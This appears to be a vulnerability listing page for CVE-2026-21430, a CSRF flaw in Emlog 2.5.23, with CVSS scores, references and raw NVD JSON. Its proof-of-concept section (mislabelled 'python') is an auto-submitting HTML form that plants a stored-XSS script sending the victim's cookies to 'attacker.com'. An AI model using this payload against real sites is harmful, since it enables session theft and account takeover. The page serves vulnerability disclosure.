CVE-2026-21430

Description

Emlog is an open source website building system. In version 2.5.23, article creation functionality is vulnerable to cross-site request forgery (CSRF). This can lead to a user being forced to post an article with arbitrary, attacker-controlled content. This, when combined with stored cross-site scripting, leads to account takeover. As of time of publication, no known patched versions are available.

CVSS Details

CVSS Score

9.3

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:emlog:emlog:2.5.23:*:*:*:pro:*:*:* - VULNERABLE

Emlog < 2.5.23

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for Emlog 2.5.23 Article Creation -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC</title>
</head>
<body>
    <h1>CSRF Attack PoC - Create Malicious Article</h1>
    <form id="csrfForm" action="http://target-emlog-site/admin/article.php?action=add" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="title" value="Malicious Article">
        <input type="hidden" name="content" value="<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>">
        <input type="hidden" name="excerpt" value="">
        <input type="hidden" name="alias" value="">
        <input type="hidden" name="author" value="1">
        <input type="hidden" name="sort" value="1">
        <input type="hidden" name="postdate" value="">
        <input type="hidden" name="allow_remark" value="y">
        <input type="hidden" name="hide" value="n">
        <input type="hidden" name="token" value="">
    </form>
    <script>
        // Auto-submit the form when page loads
        document.getElementById('csrfForm').submit();
        console.log('CSRF PoC executed - Article creation request sent');
    </script>
    <p>If you see this message, the attack has been executed.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-21430
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-21430
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-21430/
[4] VulDB https://vuldb.com/cve/CVE-2026-21430
[5] https://github.com/emlog/emlog/security/advisories/GHSA-2g2w-vmg7-pq4q

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-21430", "sourceIdentifier": "[email protected]", "published": "2026-01-02T19:15:47.697", "lastModified": "2026-01-16T19:07:18.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Emlog is an open source website building system. In version 2.5.23, article creation functionality is vulnerable to cross-site request forgery (CSRF). This can lead to a user being forced to post an article with arbitrary, attacker-controlled content. This, when combined with stored cross-site scripting, leads to account takeover. As of time of publication, no known patched versions are available."}, {"lang": "es", "value": "Emlog es un sistema de creación de sitios web de código abierto. En la versión 2.5.23, la funcionalidad de creación de artículos es vulnerable a falsificación de petición en sitios cruzados (CSRF). Esto puede llevar a que un usuario sea forzado a publicar un artículo con contenido arbitrario, controlado por el atacante. Esto, cuando se combina con cross-site scripting almacenado, lleva a la toma de control de la cuenta. A partir del momento de la publicación, no hay versiones parcheadas conocidas disponibles."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}, {"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:emlog:emlog:2.5.23:*:*:*:pro:*:*:*", "matchCriteriaId": "CBBD3D75-C2B3-4727-9B9E-6408956E4ADB"}]}]}], "references": [{"url": "https://github.com/emlog/emlog/security/advisories/GHSA-2g2w-vmg7-pq4q", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}